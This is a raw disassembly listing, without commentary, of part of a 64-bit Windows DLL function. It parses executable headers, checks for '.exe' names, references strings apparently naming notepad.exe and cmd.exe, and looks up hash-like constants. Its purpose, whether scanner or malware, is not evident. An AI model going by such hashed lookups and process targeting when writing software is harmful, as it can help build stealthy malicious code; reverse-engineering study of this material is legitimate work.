je 0x180050a05
mov eax, 6
cmp dword [rsp + 0x186], 0x6578652e
je 0x180050a05
mov eax, 7
cmp dword [rsp + 0x187], 0x6578652e
je 0x180050a05
mov eax, 8
cmp dword [rsp + 0x188], 0x6578652e
je 0x180050a05
mov eax, 9
cmp dword [rsp + 0x189], 0x6578652e
je 0x180050a05
mov eax, 0xa
cmp dword [rsp + 0x18a], 0x6578652e
je 0x180050a05
mov eax, 0xb
cmp dword [rsp + 0x18b], 0x6578652e
je 0x180050a05
mov eax, 0xc
cmp dword [rsp + 0x18c], 0x6578652e
je 0x180050a05
xor r14d, r14d
mov r12, qword [rsp + 0xc8]
jmp 0x18005010c
lea r9, [rdi + rax]
add r9, 0xfffffffffffffdf0
mov qword [rsp + 0x20], rbp
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x28], 0x200
lea rcx, [rsp + 0x40]
mov rdx, rsi
mov r8, r12
call fcn.180038a10
mov r14d, dword [rsp + 0x40]
test r14d, r14d
je 0x180050c03
mov r15, rbx
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov edi, dword [rsp + 0x50]
mov r12, qword [rsp + 0xc8]
jmp 0x1800515b5
xor r8d, r8d
mov eax, 0xff
mov rcx, r14
mov rdx, r14
jmp 0x180050a7a
mov rdx, rcx
sub rcx, r8
jbe 0x180056372
shr rcx, 1
add rcx, r8
mov r9, rcx
shl r9, 5
xor r10d, r10d
cmp dword [r12 + r9 + 0x18], 0x2dd2b3ce
setne r10b
cmovb r10d, eax
cmp r10b, 1
je 0x180050a6e
movzx r8d, r10b
cmp r8d, 0xff
jne 0x180051762
inc rcx
mov r8, rcx
mov rcx, rdx
sub rcx, r8
ja 0x180050a7a
jmp 0x180056372
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18005174d
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
mov ecx, 0xf03f58a0
jmp 0x18004b683
mov eax, dword [rsp + 0x188]
mov esi, dword [rsp + 0x18c]
movq xmm6, qword [rsp + 0x190]
mov r13, qword [rsp + 0xc0]
jmp 0x18005149f
mov r15, qword [rsp + 0x188]
mov qword [rsp + 0x20], 3
lea r9, [0x1800701b6]
lea rsi, [rsp + 0x180]
mov rcx, rsi
mov rdx, rbx
mov r8, r15
call fcn.180063a40
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x1800517fe
mov ebx, dword [rsp + 0x184]
mov r14, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
movd xmm0, ebx
movd xmm6, eax
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], r14
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800519ed
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800519f8
cmp qword [rsp + 0x48], 0x200
mov r12, qword [rsp + 0xc8]
jne 0x1800515a0
mov eax, 2
movzx ecx, byte [rsp + rax + 0x17e]
and cl, 0xdf
add cl, 0xbf
cmp cl, 0x19
ja 0x180052369
movzx ecx, byte [rsp + rax + 0x17f]
and cl, 0xdf
add cl, 0xbf
cmp cl, 0x19
ja 0x180052369
cmp rax, 0x200
je 0x1800522d3
movzx ecx, byte [rsp + rax + 0x180]
and cl, 0xdf
add cl, 0xbf
add rax, 3
cmp cl, 0x1a
jb 0x180050c1f
jmp 0x180052369
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5c37
jmp 0x18004dee0
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov r15, qword [rsp + 0x98]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5cba
jmp 0x18004f752
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov r15, qword [rsp + 0x98]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5dc2
jmp 0x18004f84a
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov rcx, qword [rax + 0x60]
mov rdx, qword [rax + 0x68]
lea r8, str..data
mov r9d, 5
call fcn.180042560
test ax, ax
je 0x180050e6a
mov ecx, edx
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov rdx, qword [rax + 0x68]
movzx ecx, cx
cmp rdx, rcx
jbe 0x18005677f
mov rdx, qword [rax + 0x60]
lea rcx, [rcx + rcx*4]
mov r8d, 0xfffa8000
add r8d, dword [rdx + rcx*8 + 0x10]
cmp r8d, 0x10000
jae 0x180050e6a
mov r14d, dword [rdx + rcx*8 + 0xc]
cmp dword [rax + 0x48], r14d
jbe 0x180050e6a
add r14, qword [rax + 0x188]
xor r9d, r9d
lea rsi, [rsp + 0x180]
lea r12, [r9 + 0x10]
cmp r12, 0x90
je 0x180050e5d
add r9, r14
mov rdx, qword [r13]
mov r8, qword [r13 + 8]
mov byte [rsp + 0x20], 1
mov rcx, rsi
call fcn.180038f70
mov edi, dword [rsp + 0x180]
mov ebx, dword [rsp + 0x184]
test edi, edi
jne 0x1800557dc
mov r9, r12
cmp ebx, 0x905a4d
jne 0x180050d71
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180072a7c]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x87272355
mov r8d, 0xffff1c95
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180050e55
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov r13, qword [rsp + 0xc0]
dec qword [r15]
mov r12, qword [rsp + 0xc8]
jmp 0x180050e6d
dec qword [r15]
lea r15, [rsp + 0x180]
mov rcx, r15
mov rdx, qword [rsp + 0x98]
mov r8, r13
call fcn.180066e40
mov esi, dword [rsp + 0x180]
test esi, esi
je 0x180050ef9
mov edi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180050f81
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180050f8c
mov rax, qword [rsp + 0x188]
mov r14, qword [rsp + 0x190]
mov rcx, qword [rax + 0x20]
test rcx, rcx
je 0x180052adf
mov rax, qword [rax + 0x18]
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
jmp 0x180050f3c
mov r9, r8
sub r8, r10
jbe 0x180052adf
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0xf17c9523
setne sil
cmovb esi, edx
cmp sil, 1
je 0x180050f30
movzx r10d, sil
cmp r10d, 0xff
jne 0x180050fe8
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x180050f3c
jmp 0x180052adf
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov r15, qword [rsp + 0x98]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5e9b
movdqa xmm0, xmmword [rsp + 0x70]
mov rax, r12
add r12, 0x28
mov dword [rsp + 0x180], esi
mov dword [rsp + 0x184], edi
movdqu xmmword [rsp + 0x188], xmm0
mov rcx, qword [rax + 0x28]
lea rdx, [0x1800745f0]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180059fb0
jmp 0x180052aee
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
je 0x180052adf
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
jmp 0x18005101c
mov r10, rdx
sub rdx, r11
jbe 0x180052adf
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0xf8a3eca5
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x180051010
movzx r11d, sil
cmp r11d, 0xff
jne 0x180051062
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x18005101c
jmp 0x180052adf
xor r9d, r9d
mov edx, 0xff
mov r8, rcx
jmp 0x18005107b
mov r8, rcx
sub rcx, r9
jbe 0x180052adf
shr rcx, 1
add rcx, r9
mov r10, rcx
shl r10, 5
xor r11d, r11d
cmp dword [rax + r10 + 0x18], 0x9a89af34
setne r11b
cmovb r11d, edx
cmp r11b, 1
je 0x18005106f
movzx r9d, r11b
cmp r9d, 0xff
jne 0x1800510c2
inc rcx
mov r9, rcx
mov rcx, r8
sub rcx, r9
ja 0x18005107b
jmp 0x180052adf
mov rcx, qword [rax + r10 + 8]
test rcx, rcx
je 0x180052adf
mov rax, qword [rax + r10]
xor r9d, r9d
mov edx, 0xff
mov r8, rcx
jmp 0x1800510ed
mov r8, rcx
sub rcx, r9
jbe 0x180052adf
shr rcx, 1
add rcx, r9
mov r11, rcx
shl r11, 5
xor r10d, r10d
cmp dword [rax + r11 + 0x18], 0x8f980a9b
setne r10b
cmovb r10d, edx
cmp r10b, 1
je 0x1800510e1
movzx r9d, r10b
cmp r9d, 0xff
jne 0x18005161e
inc rcx
mov r9, rcx
mov rcx, r8
sub rcx, r9
ja 0x1800510ed
jmp 0x180052adf
mov rdi, qword [rsp + 0x48]
mov qword [rdi], rsi
mov dword [rdi + 8], ebx
mov eax, r14d
shr eax, 8
mov esi, 0xf03f5d64
jmp 0x1800518f6
cmp qword [rsp + 0x48], 0
je 0x180055b80
mov rbp, qword [rsp + 0x50]
mov dword [rsp + 0x134], 0
mov rax, qword [rsp + 0x108]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rax, [rsp + 0x134]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 1
mov qword [rsp + 0x28], 4
lea rdi, [rsp + 0x180]
mov rcx, rdi
mov r9, rbp
call fcn.180038a10
mov r13d, dword [rsp + 0x180]
test r13d, r13d
je 0x180051db2
mov ebx, dword [rsp + 0x184]
mov r14, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
jmp 0x1800524d5
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], edi
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x5d7bdb64
movdqa xmm0, xmmword [rsp + 0x70]
jmp 0x180048fc3
cmp qword [rsp + 0xa8], 0
je 0x18004948c
mov rsi, qword [rsp + 0xb0]
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
lea r14, [rsp + 0x180]
mov rcx, r14
mov r9, rsi
call fcn.180039890
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x1800520e7
mov ebp, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm0, ebp
movd xmm6, eax
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180052628
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180052633
mov r15, qword [rsp + 0x188]
mov rax, qword [r15 + 0x10]
cmp rax, qword [r13 + 0x10]
jne 0x180056ce6
mov r12, qword [rsp + 0x190]
lea rax, [r15 + 0x10]
mov qword [rsp + 0xe8], rax
mov r8, qword [r15 + 0x40]
add rsi, 0xfffffffffffffff0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x28], 0x10
lea rcx, [rsp + 0x180]
mov rdx, r13
mov r9, rsi
call fcn.180038a10
mov r14d, dword [rsp + 0x180]
test r14d, r14d
je 0x180051b4e
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
mov r13, qword [rsp + 0xc0]
jmp 0x1800523d9
xor rbx, qword [rsp + 0x188]
xor rdi, qword [rsp + 0x190]
or rdi, rbx
setne al
movabs rcx, 0xc0c0c0c0c0c0c0c0
test rdi, rcx
sete cl
test al, cl
je 0x18004e9ff
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, str.q_b_
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x6915bb2a
mov r8d, 0xffff1c8a
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004e9ff
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004e9ff
lea r9, [r12 + 4]
mov r13, qword [rsp + 0xc0]
mov rdx, qword [r13]
mov r8, qword [r13 + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
call fcn.180038f70
mov edi, dword [rsp + 0x180]
test edi, edi
jne 0x180051481
mov esi, dword [rsp + 0x184]
add r12, 8
mov rdx, qword [r13]
mov r8, qword [r13 + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
mov r9, r12
call fcn.180038f70
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x180052902
mov ebp, dword [rsp + 0x184]
mov eax, dword [rsp + 0x188]
mov esi, dword [rsp + 0x18c]
movq xmm6, qword [rsp + 0x190]
mov r12, qword [rsp + 0xc8]
mov eax, eax
shl rsi, 0x20
or rsi, rax
cmp edi, 0xc76970a8
jne 0x1800514f6
cmp ebp, 0x76d4030
jne 0x1800514f6
test rsi, rsi
je 0x18004d6b0
mov rcx, rsi
call fcn.1800366d0
mov rax, qword [section..data]
lea rcx, [0x180077a08]
mov r8d, 0x10
mov r9d, 8
mov rdx, rsi
call qword [rax + 0x20]
jmp 0x18004d6b0
mov qword [rsp + 0x40], rsi
movd dword [rsp + 0x48], xmm6
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x1800519b9
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x1800519cb
mov rsi, qword [rsp + 0x188]
mov qword [rsi], rdi
mov dword [rsi + 8], ebx
mov r15, qword [rsp + 0x98]
mov qword [rsp + 0x70], rsi
mov dword [rsp + 0x78], 0x5d7bdb17
mov rdx, qword [rsp + 0x70]
mov r8d, dword [rsp + 0x78]
mov r9d, dword [rsp + 0x7c]
mov ebx, ebp
mov ecx, ebp
shr ecx, 8
mov eax, ebp
shr eax, 0x10
mov qword [rsp + 0x110], rdx
mov dword [rsp + 0x118], r8d
mov dword [rsp + 0x11c], r9d
jmp 0x180052578
mov r15, rbx
mov r14d, 0xc76970a8
mov esi, 0x76d4030
mov edi, 0x951604ae
xor ebx, ebx
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800515fe
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180051609
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], edi
mov rbx, r15
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5919
jmp 0x1800500fe
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov rcx, qword [rax + 0x60]
mov rdx, qword [rax + 0x68]
lea r8, str..rdatanotepad.execmd.exe
mov r9d, 6
call fcn.180042560
test ax, ax
je 0x180052adf
mov ecx, edx
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov rdx, qword [rax + 0x68]
movzx ecx, cx
cmp rdx, rcx
jbe 0x180056ac5
mov rdx, qword [rax + 0x60]
lea rcx, [rcx + rcx*4]
mov r8d, dword [rdx + rcx*8 + 0xc]
cmp dword [rax + 0x48], r8d
jbe 0x180052adf
add r8, qword [rax + 0x188]
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], 3
lea r9, [0x180072b00]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov esi, dword [rsp + 0x40]
test esi, esi
je 0x180052a30
mov edi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180055863
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180055871
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov ecx, 0xf03f58a0
jmp 0x18004b683
mov rax, qword [r12 + r9 + 8]
test rax, rax
je 0x180056372
mov rcx, qword [r12 + r9]
xor r9d, r9d
mov edx, 0xff
mov r8, rax
jmp 0x18005178d
mov r8, rax
sub rax, r9
jbe 0x180056372
shr rax, 1
add rax, r9
mov r11, rax
shl r11, 5
xor r10d, r10d
cmp dword [rcx + r11 + 0x18], 0xe9b7ea0f
setne r10b
cmovb r10d, edx
cmp r10b, 1
je 0x180051781
movzx r9d, r10b
cmp r9d, 0xff
jne 0x1800527d1
inc rax
mov r9, rax
mov rax, r8
sub rax, r9
ja 0x18005178d
jmp 0x180056372
mov rax, qword [rsp + 0x188]
mov qword [rax], rsi
mov dword [rax + 8], edi
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd8], 0x5d7bdb58
jmp 0x180049382
movzx ebx, byte [rsp + 0x184]
jmp 0x180051a11
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov r13, qword [rsp + 0xc0]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov eax, 0xcd01caf8
add rax, 0x233d8eb3
jmp 0x18004ade6
mov rdi, qword [rsp + 0x188]
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
mov r9, rsi
call fcn.180039690
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x1800521b5
mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
mov r15, qword [rsp + 0x98]
je 0x1800528f2
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180051da0
mov rdi, qword [rsp + 0x48]
mov qword [rdi], rsi
mov dword [rdi + 8], ebx
mov eax, r14d
shr eax, 8
mov esi, 0xf03f5d67
shl eax, 8
movzx ecx, r14b
or ecx, eax
movd xmm0, ecx
movd xmm6, ebp
punpckldq xmm6, xmm0
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x48], esi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180051951
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x18005195f
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], esi
movq qword [rsp + 0x70], xmm6
movzx ecx, word [rsp + 0x75]
mov word [rsp + 0x41], cx
movzx ecx, byte [rsp + 0x77]
mov byte [rsp + 0x43], cl
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], 0xf03f5d84
mov byte [rsp + 0x40], r14b
jmp 0x18004e988
movq rax, xmm0
shr rax, 0x28
movdqa xmm0, xmmword [rsp + 0x70]
jmp 0x180051ff4
movq rax, xmm0
shr rax, 0x28
movdqa xmm0, xmmword [rsp + 0x70]
mov esi, ebx
jmp 0x180051ff4
movd ecx, xmm6
mov rax, qword [rsp + 0x188]
mov qword [rax], rsi
mov dword [rax + 8], ecx
mov rcx, rax
shr rcx, 0x20
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], ecx
mov dword [rsp + 0x48], 0x258483a8
movdqa xmm0, xmmword [rsp + 0x40]
jmp 0x18004d614
mov rax, qword [rsp + 0x48]
mov qword [rax], r14
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x5d7bdb66
movd eax, xmm6
test eax, eax
jne 0x180048db5
test bl, bl
je 0x180048ff5
lea rax, [r15 + 0x90]
add r15, 0xb0
xor ecx, ecx
mov rdx, r15
sub rdx, 1
cmovae rcx, rdx
test r15, r15
mov edx, 1
cmovne rdx, rax
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x48], rcx
cmp rdx, rcx
cmova rdi, rsi
mov byte [rsp + 0x50], 0
mov byte [rsp + 0x190], 2
movdqu xmm0, xmmword [rdi]
movdqa xmmword [rsp + 0x70], xmm0
mov eax, dword [rdi + 0x11]
mov ecx, dword [rdi + 0x14]
mov dword [rsp + 0xf0], eax
mov dword [rsp + 0xf3], ecx
ja 0x180046c91
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x180], xmm0
mov byte [rsp + 0x190], 0
mov eax, dword [rsp + 0xf0]
mov ecx, dword [rsp + 0xf3]
mov dword [rsp + 0x191], eax
mov dword [rsp + 0x194], ecx
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea r8, [0x1800701b9]
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x180]
mov r9d, 9
call fcn.180035970
cmp dword [rsp + 0xa0], 0
je 0x1800520f4
mov rsi, qword [rsp + 0xa8]
mov edi, dword [rsp + 0xb0]
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x48], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x1800527ab
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x1800527b9
cmp qword [rsp + 0x188], 0x10
mov r13, qword [rsp + 0xc0]
jne 0x1800523c7
movzx eax, byte [rsp + 0xd0]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xd1]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xd2]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xd3]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xd4]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xd5]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xd6]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xd7]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xd8]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xd9]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xda]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xdb]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xdc]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xdd]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xde]
add al, 0xbf
cmp al, 0x19
ja 0x180051d27
movzx eax, byte [rsp + 0xdf]
add al, 0xbf
cmp al, 0x1a
jae 0x180051d27
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180071048]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x38d5dc59
mov r8d, 0xffff1c76
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180051d1f
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov r13, qword [rsp + 0xc0]
mov rcx, r15
mov rdx, r12
call fcn.18003bfe0
dec qword [r15]
jne 0x180051d78
inc qword [r15 + 8]
mov rcx, qword [rsp + 0xe8]
call fcn.180037510
mov rax, qword [r15 + 8]
dec rax
mov qword [r15 + 8], rax
or rax, qword [r15]
jne 0x180051d78
mov rax, qword [section..data]
lea rcx, [0x180077a08]
mov r8d, 0x58
mov r9d, 8
mov rdx, r15
call qword [rax + 0x20]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
jmp 0x18004ae40
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov r15, qword [rsp + 0x98]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5cc0
jmp 0x18004f752
xor r14d, r14d
cmp qword [rsp + 0x188], 4
jne 0x1800524c5
add rbp, 8
mov esi, 4
lea rax, [rbp + 0x10]
mov rcx, rax
sub rcx, 1
mov edx, 0
cmovae rdx, rcx
test rax, rax
mov eax, 1
cmove rbp, rax
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rdx
mov rax, r15
cmp rbp, rdx
cmova rax, rdi
mov byte [rsp + 0x50], 0
mov byte [rsp + 0x190], 2
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xd0], xmm0
mov ecx, dword [rax + 0x11]
mov eax, dword [rax + 0x14]
mov dword [rsp + 0x174], ecx
mov dword [rsp + 0x177], eax
ja 0x180046c91
movdqa xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0xa0], xmm0
mov byte [rsp + 0xb0], 0
mov eax, dword [rsp + 0x174]
mov ecx, dword [rsp + 0x177]
lea rdx, [rsp + 0xb1]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xa0]
lea r8, [rsp + 0x134]
call fcn.180035970
mov r13d, dword [rsp + 0x70]
test r13d, r13d
jne 0x1800559de
cmp qword [rsp + 0x78], 0
je 0x180055b80
mov rbp, qword [rsp + 0x80]
lea r9, [rbp - 6]
mov rax, qword [rsp + 0x108]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov rcx, rdi
call fcn.180039310
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x180051f3d
mov rcx, r15
mov r15d, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov r13d, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], r13d
mov rax, qword [section..data]
mov r8d, 0x10
mov r9d, 8
lea rdx, [0x180077a08]
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180051f47
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180051f53
movzx ebx, word [rsp + 0x184]
jmp 0x180051f83
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], r13d
mov ebx, r15d
movd xmm1, r15d
movd xmm0, edi
punpckldq xmm0, xmm1
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x5d7bdaec
